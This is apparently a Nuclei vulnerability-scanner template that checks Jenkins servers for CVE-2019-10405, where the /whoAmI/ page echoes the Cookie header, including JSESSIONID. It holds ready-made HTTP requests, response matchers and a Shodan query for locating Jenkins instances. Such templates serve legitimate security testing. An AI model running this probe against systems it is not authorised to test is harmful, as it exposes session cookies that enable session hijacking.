nuclei-templates/cves/2019/CVE-2019-10405.yaml

56 lines
1.2 KiB
YAML

id: CVE-2019-10405
info:
name: Diagnostic page exposed Cookie HTTP header
severity: medium
author: c-sh0
description: Jenkins 2.196 and earlier, LTS 2.176.3 and earlier printed the value of the Cookie on the /whoAmI/ URL
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-10405
- https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
metadata:
shodan-query: http.favicon.hash:81586312
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.30
cve-id: CVE-2019-10405
cwe-id: CWE-200
tags: cve,cve2019,jenkins
requests:
- raw:
- |
GET {{BaseURL}}/whoAmI/ HTTP/1.1
Host: {{Hostname}}
- |
GET {{BaseURL}}/whoAmI/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- 'text/html'
- 'x-jenkins'
condition: and
case-insensitive: true
- type: word
part: body_2
words:
- 'Cookie'
- 'JSESSIONID'
condition: and
extractors:
- type: kval
kval:
- x_jenkins